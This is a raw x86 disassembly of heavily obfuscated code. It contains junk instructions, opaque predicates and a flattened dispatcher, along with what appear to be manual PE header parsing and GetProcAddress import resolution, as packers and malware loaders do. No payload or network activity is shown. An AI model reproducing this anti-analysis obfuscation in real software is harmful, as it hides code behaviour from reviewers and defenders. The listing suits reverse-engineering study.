rcl esi, 0x73
neg ebx
neg esi
rol edx, 0xfb
imul edi
not esi
sbb eax, 0x90
not edi
bswap edi
ror ebx, 0x57
rcr edx, 0x9b
dec esi
mov ebx, 0x9a
neg edi
sbb edx, 0xb9
ror ebx, 0x41
and ebx, 0xcd
sub edi, 0x28
not esi
inc edi
ror edi, 0x1c
neg edi
ror edi, 0xcd
neg edi
or ebx, 0xe6
rol eax, 0x96
ror edi, 0x15
mov eax, 0x16
dec ebx
dec esi
rcr edx, 0x5d
mov edx, 0x69
neg edx
or esi, 0x61
and eax, 0x57
sbb ebx, 0xe5
rcr esi, 0x2a
add edi, 0x1c
bswap eax
mov edx, 0x16
sub edx, 0x5c
or ebx, 0x3f
inc edi
neg edi
bswap eax
bswap edi
bswap eax
bswap eax
rcl edx, 0x19
sbb edx, 0xcc
rol esi, 0x78
mov edx, 0x43
mov edx, 0xac
rcl ebx, 0xe8
bswap edi
and eax, 0x8b
rcr edi, 0x98
bswap esi
neg esi
mov eax, 0x73
not eax
rol esi, 0xba
dec edx
and ebx, 0x5b
imul eax
neg esi
inc eax
bswap esi
sub ebx, 0x14
rcl esi, 0x61
dec ebx
sbb eax, 0x50
dec eax
and eax, 0x3e
not edi
not edx
rcl esi, 0xe5
inc edx
not esi
bswap edx
rol edi, 0x1b
mov ebx, 0xa9
rcr esi, 0xa2
sub ebx, 0x8b
and ebx, 0x55
bswap edi
sub ebx, 0x88
sbb edx, 0x6e
neg ebx
not edi
and ebx, 6
mov esi, 0xa3
bswap ebx
sbb edx, 0x74
add eax, 0xd
neg edi
bswap eax
dec edi
add esi, 0x4b
and ebx, 0x7f
imul edi
rcl eax, 0x34
and edx, 0x6d
dec eax
bswap esi
rcr esi, 0x35
inc ebx
mov eax, 0xfa
bswap edi
rol edi, 0x6f
imul esi
not ebx
bswap esi
bswap edx
inc edx
not edx
rcl edi, 0x68
and esi, 0x17
dec edi
sbb edx, 0x48
neg ebx
neg edi
dec esi
not esi
or eax, 0xa4
not eax
and esi, 0x39
dec edi
and edx, 0xce
mov ebx, 0xb3
mov eax, 0xe2
imul eax
bswap esi
inc edi
not edi
imul eax
not esi
rol edi, 0xf
inc esi
rcl ebx, 5
inc eax
imul esi
not esi
bswap eax
inc ebx
neg esi
or eax, 0xb2
rcr edx, 0x69
rcr edx, 0x5c
rcl esi, 0x85
dec edx
sbb edx, 0x9e
and eax, 0xce
ror eax, 0x91
rcr esi, 0xa1
rcr eax, 0x92
dec edi
rol edi, 0x26
rcr edx, 0x10
bswap edx
not esi
imul ebx
ror edx, 0x31
sbb edi, 0xdc
rcr edx, 0x35
neg esi
ror ebx, 0xd0
inc eax
bswap ebx
rcr eax, 0x42
neg eax
sbb eax, 0x56
rol ebx, 0x21
bswap esi
sbb ebx, 0x96
neg eax
inc ebx
imul esi
rcr esi, 0x64
sbb ebx, 0x43
rcr edi, 0x66
rcl esi, 0x85
bswap eax
neg esi
inc edi
rol edi, 0x5e
or eax, 0xff
dec edi
add edi, 0xef
dec ebx
imul ebx
neg eax
ror ebx, 0xf3
neg eax
and edi, 0xe0
or edi, 0x7a
sbb ebx, 0x7d
add edi, 0x40
or edx, 0x50
add eax, 0x2b
and edi, 0xae
dec esi
bswap edx
inc eax
imul edx
rol esi, 0x37
mov edx, 0x43
dec edx
neg edi
bswap ebx
inc edx
imul eax
sub esi, 0xe0
ror esi, 0x97
sub ebx, 0x86
not eax
rcl edi, 0x75
and eax, 0x7a
or edx, 0x48
add eax, 0x40
inc edi
rol edx, 0xf1
or eax, 0x10
sbb edx, 0xbb
rol edi, 0xa6
inc eax
add ebx, 0x57
sub edi, 0x3e
dec esi
and ebx, 0xcd
imul esi
or ebx, 0xea
bswap esi
bswap eax
sbb edx, 0x97
sub ebx, 0x89
rcr edx, 0x64
sub edx, 0xf5
bswap eax
bswap esi
neg ebx
or ebx, 0x1e
sbb edi, 0xd7
imul edx
sub edi, 0x57
neg edi
add edx, 0x67
inc edx
bswap ebx
neg esi
and edx, 0x30
neg edx
imul edx
sub esi, 0xd1
imul ebx
rcl ebx, 0x3d
neg edi
rcr edi, 0x2f
not edi
bswap edi
inc esi
add edi, 0x94
inc esi
mov eax, 0xeb
or esi, 0x3a
neg esi
bswap eax
not eax
neg eax
add esi, 0xba
mov edi, 0x8c
bswap edx
dec ebx
dec eax
inc edi
rcr esi, 0x17
or eax, 8
rcr edi, 0xf3
dec ebx
neg edx
or edx, 0x6b
rcr eax, 0xe4
rcl edi, 0x13
and esi, 0x73
add edi, 0xe6
not edx
and edx, 0xf3
or eax, 0x35
add ebx, 0xd4
neg edx
or esi, 0xaf
ror edi, 0xd
inc eax
sbb esi, 0xfb
rol esi, 0x74
mov edi, 0xe1
sub esi, 0x4e
sbb edx, 0xb7
dec esi
sbb ebx, 0xf9
imul esi
not ebx
or ebx, 0xbf
imul eax
inc edi
ror edx, 0xa5
rol edi, 0x86
mov ebx, 0x29
bswap ebx
inc ebx
imul eax
dec edi
not eax
inc esi
not esi
add esi, 0xfb
rol edi, 0xfe
sub esi, 0x6c
imul esi
not edx
rcl eax, 0x7a
rcr eax, 0x20
imul edi
not edx
rcl edi, 0x53
rcl esi, 0x28
mov edi, 0xec
not esi
not edi
inc esi
not edi
inc eax
inc edx
bswap edx
sbb eax, 0x67
imul esi
rcl eax, 0xe2
dec edx
ror edi, 0xd6
not eax
not edi
mov ecx, dword [0x492384]
mov dword [ebp - 0xdc], eax
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
andn ecx, eax, eax
not eax
and edx, 0x25ebc573
and eax, 0xda143a8c
or edx, eax
xor edx, 0x25ebc573
or ecx, edx
mov esi, ecx
not esi
mov edx, ecx
and edx, 1
and ecx, 0xbacf566c
mov eax, esi
and esi, 0xfffffffe
or eax, 1
or edx, esi
mov esi, eax
and esi, 0x4530a993
or ecx, esi
mov esi, edx
not esi
and edx, 0xbacf566c
or eax, esi
and esi, 0x4530a993
or edx, esi
not eax
xor edx, ecx
or eax, edx
mov ecx, eax
xor ecx, 0xce9741e2
mov edx, eax
not edx
and ecx, eax
or eax, 0x3168be1d
and edx, 0x48000062
mov esi, eax
and esi, 0x87f7db89
or edx, esi
mov esi, ecx
not esi
and ecx, 0x78082476
or eax, esi
and esi, 0x87f7db89
or ecx, esi
not eax
mov esi, 0x6d75046
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x93f5ddc
and ecx, 0xf6c0a223
or eax, ecx
mov ecx, eax
xor ecx, 0x46201c3e
xor eax, 0x30104040
and ecx, 0x4e67bfbf
and eax, 0xb1984040
or eax, ecx
mov ecx, eax
xor ecx, 0xe601794
xor eax, 0x10000000
and eax, 0x5007a82b
and ecx, 0xaff857d4
or ecx, eax
xor ecx, 0xaff857d4
sete ah
setne ch
cmp dword [0x492380], 0xa
setl al
setge cl
and ah, cl
and al, ch
or cl, ch
or al, ah
mov edx, ecx
mov ah, al
xor dl, 1
mov ch, al
or al, dl
xor ah, 1
and ch, cl
and dl, ah
xor ah, cl
xor al, 1
or al, ah
or dl, ch
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0xa5b50695
cmovne ecx, esi
test al, al
mov eax, 0xa5b50695
jmp 0x410d89
mov eax, dword [ebp - 0x4c]
mov eax, 0xfed02087
jmp 0x402a30
mov eax, dword [ebp - 0x38]
mov eax, 0x20f226af
jmp 0x402a30
mov ecx, dword [0x492384]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
mov edx, eax
xor edx, 0xf8a93166
not ecx
mov esi, ecx
and edx, eax
and esi, 0xf8a93166
and ecx, 0x4f263f34
and eax, 0xb0d9c0cb
or edx, esi
or eax, ecx
mov esi, edx
not esi
and edx, 0x2e3a4460
xor eax, 0xb0d9c0cb
and esi, 0xd1c5bb9f
or edx, esi
mov esi, edx
xor esi, 0x80030000
xor edx, 0x21088a78
and edx, 0x7798ff7f
and esi, 0x88670080
or esi, edx
xor esi, 0x88670080
or eax, esi
mov esi, 0x7e794788
mov ecx, eax
not ecx
and eax, 0xf05605e8
and ecx, 0xfa9fa17
or eax, ecx
cmp eax, 0xf05605e8
sete dl
cmp dword [0x492380], 0xa
mov ecx, edx
setl al
xor cl, al
or al, dl
mov edx, 0x865566c0
xor al, 1
or al, cl
xor al, cl
cmovne edx, esi
test al, cl
mov esi, 0x865566c0
cmovne edx, esi
test al, al
cmovne esi, edx
test al, cl
cmove esi, edx
mov eax, esi
jmp 0x402a30
mov eax, dword [0x492384]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x996c4b0b
and eax, 0x6693b4f4
or ecx, eax
mov edx, ecx
mov esi, ecx
xor edx, 0x2c4101
xor esi, 0x6693b4f4
xor ecx, 0x88404208
mov eax, esi
or eax, 1
and esi, 0x9b510aaa
and edx, 0x64aef555
and ecx, 0xae43f698
or edx, esi
mov esi, eax
and esi, 0x51bc0967
or ecx, esi
mov esi, edx
xor esi, 0x2402f410
xor edx, 0x9b510aab
or eax, edx
and edx, 0x51bc0967
and esi, 0xae43f698
or esi, edx
not eax
xor esi, ecx
or eax, esi
mov edx, eax
not edx
mov esi, eax
andn ecx, eax, eax
and esi, 0x9459c285
and edx, 0x6ba63d7a
or edx, esi
mov esi, ecx
not esi
and ecx, 0x6ba63d7a
or eax, esi
and esi, 0x9459c285
or ecx, esi
not eax
mov esi, 0xd48eb65b
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x12ab8e3
mov edx, ecx
and edx, 0xfed5471c
or eax, edx
xor eax, 0x12ab8e3
or eax, ecx
xor eax, 0xffffffff
setne dl
sete cl
cmp dword [0x492380], 0xa
setl ch
mov al, ch
or dl, ch
or al, cl
xor cl, ch
xor dl, 1
xor al, 1
or al, cl
and cl, ch
mov ah, al
or cl, dl
mov edx, eax
xor ah, 1
and dl, ah
mov ch, ah
xor dl, 1
xor ch, dl
or dl, ah
xor dl, 1
or dl, ch
mov ah, dl
and dl, cl
xor cl, 1
xor ah, 1
and ah, cl
or cl, al
or dl, ah
mov ch, cl
mov eax, 0x52b2f393
xor ch, dl
test cl, cl
cmovne eax, esi
test dl, 1
not ch
mov edx, 0x52b2f393
cmove eax, esi
test ch, 1
cmovne eax, edx
jmp 0x402a30
mov ecx, dword [0x492384]
lea eax, [ecx + 1]
imul eax, ecx
mov esi, eax
not esi
mov ecx, eax
or ecx, 0x94107034
mov edx, esi
mov edi, esi
or edx, 0x1810283
and ecx, 0x959172b7
and edi, 0xd00
and esi, 0x407ffc7
or edi, ecx
mov ecx, eax
and edx, 0x959172b7
and ecx, 0x6a6e8048
and eax, 0xfbf80038
or ecx, edx
or eax, esi
xor ecx, edi
mov edi, 0xfe65aa6d
mov edx, ecx
not edx
and ecx, 0x21af41de
and edx, 0xde50be21
or ecx, edx
mov edx, ecx
xor ecx, 0x8b113181
xor edx, 0x202e4e5c
mov esi, edx
and esi, 0x74ec8862
and ecx, 0x8b13779d
or ecx, esi
mov esi, eax
xor esi, 0x8b100018
xor eax, 0x407ffc7
or edx, eax
and eax, 0x74ec8862
and esi, 0x8b13779d
or esi, eax
not edx
xor esi, ecx
or edx, esi
mov esi, 0x849ca105
mov eax, edx
not eax
and edx, 0x390e6402
and eax, 0xc6f19bfd
or edx, eax
cmp edx, 0x390e6402
sete dl
cmp dword [0x492380], 0xa
setl cl
mov ah, cl
xor cl, dl
or ah, dl
mov al, ah
xor al, 1
or al, cl
and cl, ah
mov ch, al
mov edx, ecx
mov ebx, ecx
xor ch, 1
xor dl, 1
mov ah, ch
and bl, dl
and ah, al
xor bl, 1
xor ah, 1
or bl, dl
or dl, al
or ah, al
xor bl, 1
mov al, dl
xor ah, 1
or bl, cl
or ah, ch
xor bl, ah
xor al, bl
test dl, dl
cmovne edi, esi
test bl, 1
cmove edi, esi
test al, 1
mov eax, 0xfe65aa6d
cmove edi, eax
mov eax, edi
jmp 0x402a30
mov eax, dword [0x492384]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
xor ecx, 0x89c25849
mov eax, edx
and eax, 0x9c20049
and ecx, edx
not edx
and edx, 0x80005800
or eax, edx
mov edx, eax
xor edx, 0x8820048
xor eax, 0xf63dffb6
mov esi, eax
and esi, 0xf164ef17
and edx, 0x8821048
or edx, esi
mov esi, ecx
not esi
and ecx, 0xe9b10e8
or eax, esi
and esi, 0xf164ef17
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x89c25849
and ecx, 0x763da7b6
or eax, ecx
mov ecx, eax
xor ecx, 1
mov edx, eax
not edx
and ecx, eax
and edx, 0xecc9c3ff
and eax, 0x13363c00
or eax, edx
mov edx, ecx
not edx
and ecx, 0x47e812e3
mov esi, edx
and esi, 0xb817ed1c
or ecx, esi
mov esi, eax
xor esi, 0x3201001
xor eax, 0xecc9c3fe
or edx, eax
and eax, 0xb817ed1c
and esi, 0x47e812e3
or esi, eax
not edx
xor esi, ecx
or edx, esi
mov esi, 0xa776cc9e
mov ecx, edx
not ecx
and edx, 0x378425b0
and ecx, 0xc87bda4f
or ecx, edx
mov eax, ecx
xor eax, 0xc039424f
xor ecx, 0x4040480
and ecx, 0xc469c80
and eax, 0xf3b9637f
or eax, ecx
mov ecx, eax
xor ecx, 0x4029c00
xor eax, 0x6011425b
and eax, 0x685542db
and ecx, 0x97aabd24
or ecx, eax
xor ecx, 0x97aabd24
sete dl
setne ah
cmp dword [0x492380], 0xa
setge al
setl cl
mov ch, al
xor cl, ah
inc ch
and ch, ah
mov ah, al
xor ah, dl
and ah, al
and al, dl
mov edx, ecx
or al, ch
or al, ah
or dl, al
xor al, cl
mov ecx, edx
xor cl, al
mov ecx, 0xe1572fe5
cmovne ecx, esi
test al, al
mov esi, 0xe1572fe5
jmp 0x4121dd
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x2e60306c
mov edi, eax
and edi, 0x1002c802
mov esi, ecx
and esi, 0xc08d0390
or ecx, 0x28cc0244
or edx, esi
and ecx, 0x29dc0645
mov esi, edx
xor esi, 0x6203028
xor edx, 0x19c0601
or edi, ecx
and edx, 0x29dc0645
and esi, 0xc62131b8
or esi, edx
xor edi, esi
mov ecx, edi
not ecx
and edi, 0xceed33fc
and ecx, 0x3112cc03
or edi, ecx
mov ecx, edi
not ecx
and edi, eax
andn esi, eax, ecx
mov eax, 0xbf7810d0
or edi, esi
not edi
or edi, ecx
cmp edi, 0xffffffff
setne byte [ebp - 0x7f]
jmp 0x402a30
mov ecx, dword [0x492384]
mov edi, 0xd4875442
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0xc1227ede
mov edx, ecx
and edx, 0x3edd8120
and ecx, 0xcab88a41
or esi, edx
mov edx, eax
and eax, 0x354775be
and edx, 1
or eax, ecx
xor esi, 0xc1227ede
mov ecx, eax
or edx, esi
xor ecx, 0x354775be
xor eax, 0xcab88a41
mov esi, 0x5bb677ac
andn ecx, edx, ecx
and eax, edx
not edx
or eax, ecx
xor edx, eax
test edx, eax
sete dl
setne ah
cmp dword [0x492380], 0xa
setl al
setge ch
mov dh, al
and dl, ch
and al, ah
xor dh, ah
or al, dl
mov cl, dh
xor al, 1
xor cl, ch
and cl, dh
xor cl, 1
mov edx, ecx
or dl, al
xor al, cl
mov ecx, edx
xor cl, al
test al, al
mov eax, 0xd4875442
cmovne eax, esi
test dl, dl
cmovne eax, edi
test cl, cl
cmove eax, esi
jmp 0x402a30
mov eax, 0x34fb200
jmp 0x402a30
mov eax, dword [ebp - 0x5c]
mov ecx, dword [0x492384]
mov edi, 0x4507e504
mov eax, dword [eax]
mov dword [ebp - 0xb0], eax
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x2a082116
and ecx, 0xd5f7dee8
or edx, ecx
mov ecx, eax
xor ecx, 0xfffffffe
xor edx, 0x2a082116
and ecx, eax
or ecx, edx
mov edx, ecx
not edx
and ecx, eax
andn esi, eax, edx
or ecx, esi
mov esi, 0xe5365363
xor edx, ecx
test edx, ecx
sete cl
setne dl
cmp dword [0x492380], 0xa
setl al
setge ah
and cl, al
xor al, dl
and dl, ah
or cl, dl
xor cl, 1
or cl, ah
mov ah, al
mov edx, ecx
xor ah, 1
not dl
and dl, cl
xor dl, 1
mov ch, dl
or dl, cl
xor ch, cl
xor dl, 1
or dl, ch
mov ch, dl
and dl, al
or al, cl
xor ch, 1
mov cl, al
and ch, ah
or dl, ch
xor cl, dl
test cl, 1
cmovne edi, esi
test al, al
mov eax, 0x4507e504
cmovne eax, edi
test dl, dl
cmove eax, edi
jmp 0x402a30
mov eax, dword [ebp - 0x120]
mov ecx, dword [ebp - 0x18]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x54]
mov edx, dword [edx]
mov esi, dword [ebp - 0x3c]
mov esi, dword [esi]
lea esi, [esi + esi*4]
add ecx, dword [edx + esi*4 + 0x10]
mov edx, dword [ebp - 0x28]
mov edx, dword [edx]
mov dword [ecx + edx*4], eax
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x8c]
mov eax, dword [0x492384]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
and edx, 0x21a7e069
mov esi, eax
and esi, 0xde581f96
and eax, 0x4c679a53
or edx, esi
mov esi, edx
xor edx, 0xa400894
xor esi, 0x20000000
or edx, 0xd4beb70a
and esi, 0x2a400814
mov edi, edx
and edi, 0x819fe4eb
or esi, edi
mov edi, ecx
xor edi, 0x2b4148f5
and edi, ecx
and ecx, 0xb39865ac
mov ebx, edi
not ebx
and edi, 0x7e601b14
or eax, ecx
or edx, ebx
and ebx, 0x819fe4eb
or edi, ebx
not edx
xor edi, esi
or edx, edi
mov esi, edx
not esi
and edx, 0x909cf764
and esi, 0x6f63089b
or edx, esi
mov esi, edx
xor esi, 0x8459a10
xor edx, 0x4422406f
mov edi, edx
and edi, 0xb39865ac
and esi, 0x4c679a53
or esi, edi
mov edi, 0x20c3addd
xor eax, esi
mov esi, 0x18a2bc23
xor edx, eax
test edx, eax
sete ah
setne cl
cmp dword [0x492380], 0xa
setge al
setl ch
mov edx, eax
or al, cl
xor dl, cl
xor cl, ch
xor al, 1
and dl, ah
not cl
mov ah, dl
and cl, ch
xor dl, cl
xor ah, 1
xor cl, 1
or cl, ah
xor cl, 1
or cl, dl
xor cl, al
mov edx, ecx
xor dl, 1
and al, dl
xor dl, al
test dl, 1
mov edx, 0x20c3addd
cmovne edx, esi
test cl, 1
mov ecx, edx
cmovne ecx, edi
jmp 0x41291f
mov eax, dword [ebp - 0x11c]
mov ecx, dword [ebp - 0x60]
add eax, 2
push eax
push dword [ecx]
vzeroupper
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0x40]
mov dword [ecx], eax
mov eax, dword [0x492384]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov esi, ecx
and esi, 0x701cd4d
mov edx, eax
and edx, 0xf8fe32b2
and eax, 0x75af2b47
or esi, edx
mov edx, ecx
or edx, 0xb846978e
and ecx, 0x8a50d4b8
mov edi, esi
xor edi, 0x7014840
xor esi, 0xb8461282
and edx, 0xb846978f
or eax, ecx
and esi, 0xb846978e
and edi, 0x47b96870
or edi, esi
xor edx, edi
mov esi, edx
not esi
and edx, 0x75af2b47
mov edi, esi
and edi, 0x8a50d4b8
or edx, edi
mov edi, 0x2ed4b618
xor eax, edx
xor esi, eax
test esi, eax
mov esi, 0x7eae62f4
sete dl
setne ah
cmp dword [0x492380], 0xa
setl cl
setge al
or al, ah
xor cl, dl
mov edx, ecx
mov ah, al
and cl, al
xor dl, 1
not ah
or al, dl
and dl, ah
or dl, cl
mov ecx, edx
xor cl, al
test dl, dl
mov edx, 0x2ed4b618
cmovne edx, esi
test al, al
cmovne edx, edi
test cl, cl
jmp 0x410038
mov eax, dword [ebp - 0xb0]
mov ecx, dword [ebp - 0x5c]
mov edi, 0xb56355f2
inc eax
mov dword [ecx], eax
mov eax, dword [0x492384]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
not edx
mov esi, ecx
andn eax, ecx, ecx
and esi, 0xca35eb09
and edx, 0x35ca14f6
or edx, esi
mov esi, eax
not esi
and eax, 0x35ca14f6
or ecx, esi
and esi, 0xca35eb09
or eax, esi
not ecx
xor eax, edx
or ecx, eax
mov eax, ecx
xor eax, 0x3792cc96
mov edx, ecx
and edx, 0xf7a915b0
and eax, ecx
not ecx
and ecx, 0x856ea4f
or edx, ecx
mov ecx, edx
xor ecx, 0xf7a915b0
xor edx, 0x504206
mov esi, ecx
and esi, 0x3792cc96
and edx, 0x32d15306
or eax, esi
mov esi, eax
not esi
and eax, 0xb2837f25
and esi, 0x4d7c80da
or eax, esi
mov esi, ecx
and esi, 0xcd2eacf9
and ecx, 1
or esi, edx
mov edx, eax
xor edx, 0x5119120
xor eax, 0x7aee4c4d
xor esi, 0x32d15307
and edx, 0x2755d520
or ecx, esi
mov esi, ecx
not esi
and ecx, 0xb6b9d846
and esi, 0x494627b9
or ecx, esi
mov esi, eax
and esi, 0xd8aa2adf
or edx, esi
mov esi, ecx
xor esi, 0x2611d000
xor ecx, 0x494627b9
or eax, ecx
and ecx, 0xd8aa2adf
and esi, 0x2755d520
or esi, ecx
not eax
xor esi, edx
or eax, esi
mov ecx, eax
xor ecx, 0x447c4b65
mov edx, eax
not edx
and ecx, eax
or eax, 0xbb83b49a
and edx, 0x84b40
mov esi, eax
and esi, 0xdef5802d
or edx, esi
mov esi, ecx
not esi
and ecx, 0x210a7fd2
or eax, esi
and esi, 0xdef5802d
or ecx, esi
not eax
mov esi, 0x711de1d6
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x7ef7fe27
and ecx, 0x810801d8
or eax, ecx
mov ecx, eax
xor ecx, 0x388aa042
xor eax, 0x80744aa1
and eax, 0x82755fa1
and ecx, 0x7d8aa05e
or ecx, eax
mov eax, ecx
xor eax, 0x70822054
xor ecx, 0x411b00
and ecx, 0xd499b0a
and eax, 0xf2b664f5
or eax, ecx
xor eax, 0xf2b664f5
sete cl
setne dl
cmp dword [0x492380], 0xa
setl al
setge ah
and cl, ah
and al, dl
or ah, dl
or al, cl
mov cl, ah
xor al, 1
or cl, al
xor al, ah
mov edx, ecx
xor dl, al
mov edx, 0xb56355f2
cmovne edx, esi
test al, al
mov eax, edx
cmovne eax, edi
test cl, cl
cmovne eax, edx
jmp 0x402a30
mov eax, dword [ebp - 0x14]
mov ecx, dword [0x492384]
mov eax, dword [eax]
mov dword [ebp - 0xe4], eax
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
mov edx, eax
or edx, 0x8e08408
not ecx
and eax, 0x90092880
mov esi, ecx
and edx, 0xaf4863b
and esi, 0x65025144
or esi, edx
mov edx, ecx
or edx, 0x2140233
and edx, 0xaf4863b
or eax, edx
xor eax, esi
mov esi, 0xe16aee9f
mov edx, eax
not edx
and eax, 0x67165376
and edx, 0x98e9ac89
or eax, edx
not eax
or eax, ecx
xor eax, 0xffffffff
setne dl
sete ah
cmp dword [0x492380], 0xa
mov dh, dl
setge al
setl ch
mov cl, al
or dh, ch
and dl, ch
or ch, ah
and al, ah
or cl, ah
xor dh, 1
xor ch, 1
or al, dl
xor cl, 1
or al, ch
or cl, dh
mov ah, al
mov edx, ecx
xor ah, 1
and al, cl
not dl
and dl, ah
or dl, al
mov al, cl
xor al, ah
or ah, cl
xor ah, 1
or ah, al
mov cl, ah
xor cl, dl
test ah, 1
mov eax, 0xe759077b
cmovne eax, esi
test dl, 1
not cl
mov edx, 0xe759077b
cmove eax, esi
test cl, 1
cmovne eax, edx
jmp 0x402a30
mov eax, 0xc35bde52
jmp 0x402a30
mov eax, dword [ebp - 0x1c]
mov dword [eax], 2
mov ecx, dword [0x492384]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
and eax, 0xb48d6a5c
and ecx, 0x4b7295a3
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x1c197a4
and ecx, 0xfe3e685b
or eax, ecx
mov ecx, eax
mov edx, eax
xor eax, 0xb54cfdf8
xor ecx, 0x4ab30207
xor edx, 0x4ab30206
and edx, ecx
and eax, 0xfffffffe
and ecx, 1
or ecx, eax
mov eax, edx
not eax
and edx, 0x5afba7dd
mov esi, eax
and esi, 0xa5045822
or edx, esi
mov esi, ecx
not esi
and ecx, 0x5afba7dd
or eax, esi
and esi, 0xa5045822
or ecx, esi
not eax
mov esi, 0xf66dbfd3
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xffff69e8
and ecx, 0x9617
or eax, ecx
mov ecx, eax
xor ecx, 0x5ccb0048
xor eax, 0x8407
and eax, 0xa334eda7
and ecx, 0x5ccb1258
or ecx, eax
mov eax, ecx
xor eax, 0x148827
xor ecx, 0x54c81218
and eax, 0x8178867
and ecx, 0xf7e87798
or ecx, eax
mov eax, ecx
xor eax, 0x8804
xor ecx, 0xd4282708
and ecx, 0xdc3f276b
and eax, 0x23c0d894
or eax, ecx
xor eax, 0x23c0d894
setne cl
sete dl
cmp dword [0x492380], 0xa
setl al
setge ah
and cl, al
and ah, dl
or al, dl
or cl, ah
mov edx, ecx
xor dl, 1
mov ah, dl
xor ah, al
or al, dl
xor al, 1
or al, ah
mov ah, al
not ah
and ah, dl
or dl, al
and al, cl
or al, ah
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0xb5ddd9fd
cmovne ecx, esi
test al, al
mov esi, 0xb5ddd9fd
jmp 0x410349
mov eax, dword [ebp - 0x120]
mov ecx, dword [ebp - 0x18]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x54]
mov edx, dword [edx]
mov esi, dword [ebp - 0x3c]
mov esi, dword [esi]
lea esi, [esi + esi*4]
add ecx, dword [edx + esi*4 + 0x10]
mov edx, dword [ebp - 0x28]
mov edx, dword [edx]
mov dword [ecx + edx*4], eax
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x8c]
mov eax, 0xc3106cd5
jmp 0x402a30
cmp byte [ebp - 0x7b], 0
mov eax, 0x53ee78cc
mov ecx, 0xfbdc3097
cmovne eax, ecx
jmp 0x402a30
mov eax, dword [ebp - 0x20]
mov ecx, dword [eax]
mov eax, ecx
xor eax, 0xb596ca73
and eax, ecx
not ecx
or ecx, eax
not eax
and eax, 0x4a69358c
and ecx, 0xb596ca73
or ecx, eax
mov eax, ecx
xor eax, 0xb223ae10
mov esi, ecx
and esi, 0xe182e2a3
and eax, ecx
not ecx
and ecx, 0x1e7d1d5c
or esi, ecx
mov ecx, esi
mov edx, esi
xor ecx, 0xe182e2a3
xor edx, 0xac5eb34c
xor esi, 0x824051c
and edx, ecx
mov edi, ecx
and esi, 0x8926853f
and edi, 0x76d97ac0
and ecx, 0x80000000
or eax, edx
or edi, esi
mov edx, eax
not edx
and eax, 0x12bd34e0
mov esi, edi
xor esi, 0x926853f
xor edi, 0x6d04a80
and edx, 0xed42cb1f
or ecx, esi
and edi, 0x7d64b94
or eax, edx
mov edx, eax
xor edx, 0x960a90
xor eax, 0xdf61650f
mov esi, eax
or eax, ecx
and ecx, 0xf829b46b
and esi, 0xf829b46b
and edx, 0x7d64b94
or edx, esi
or edi, ecx
not eax
xor edi, edx
or eax, edi
mov edx, eax
xor edx, 0xba83f9ed
mov ecx, eax
and ecx, 0xb8816905
and edx, eax
not eax
and eax, 0x20290e8
or ecx, eax
xor ecx, 0xb8816905
or ecx, edx
not edx
and edx, 0x457c0612
and ecx, 0xba83f9ed
or ecx, edx
mov eax, ecx
not eax
and ecx, 0x9cfbeab7
mov edx, eax
and edx, 0x63041548
or ecx, edx
xor ecx, 0x9cfbeab7
or ecx, eax
mov eax, 0x46ea7721
not ecx
mov dword [ebp - 0x19c], ecx
jmp 0x402a30
mov eax, dword [ebp - 0xd0]
mov ecx, dword [ebp - 0x14]
mov ecx, dword [ecx]
movzx ecx, word [ecx + 0x14]
lea eax, [eax + ecx + 0x18]
mov ecx, dword [ebp - 0x34]
mov dword [ecx], eax
mov eax, dword [0x492384]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0xe60dd0a1
and eax, 0x19f22f5e
or ecx, eax
mov eax, ecx
xor eax, 0x40085020
xor ecx, 0x8820010
and ecx, 0xae878091
and eax, 0x51787f6e
or eax, ecx
mov edx, eax
mov ecx, eax
xor eax, 0x401d22
xor edx, 0xae878091
xor ecx, 0xae878090
and ecx, edx
and eax, 0xa6429db2
and edx, 0x59bd624d
or edx, eax
mov eax, ecx
not eax
and ecx, 0x62682ae7
mov esi, eax
and esi, 0x9d97d518
or ecx, esi
mov esi, edx
xor esi, 0x40282244
xor edx, 0xa6429db3
or eax, edx
and edx, 0x9d97d518
and esi, 0x62682ae7
or esi, edx
not eax
xor esi, ecx
or eax, esi
mov esi, 0x8a2bc508
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x115d885a
and ecx, 0xeea277a5
or ecx, edx
xor ecx, 0xeea277a5
or ecx, eax
xor ecx, 0xffffffff
sete cl
setne dl
cmp dword [0x492380], 0xa
setge ah
setl al
mov ch, ah
and dl, al
xor al, cl
xor ch, cl
and ch, ah
and ah, cl
or ah, dl
or al, ch
mov ch, ah
mov cl, al
mov dh, ah
xor ch, 1
xor cl, 1
and dh, ch
mov dl, cl
or cl, ah
xor dh, 1
and dl, al
xor cl, 1
or dh, ch
xor dl, 1
xor ch, al
xor dh, 1
mov ebx, edx
or dl, al
or cl, ch
or dh, ah
xor bl, al
xor dl, 1
mov eax, ecx
mov bh, dh
or dl, bl
xor bh, 1
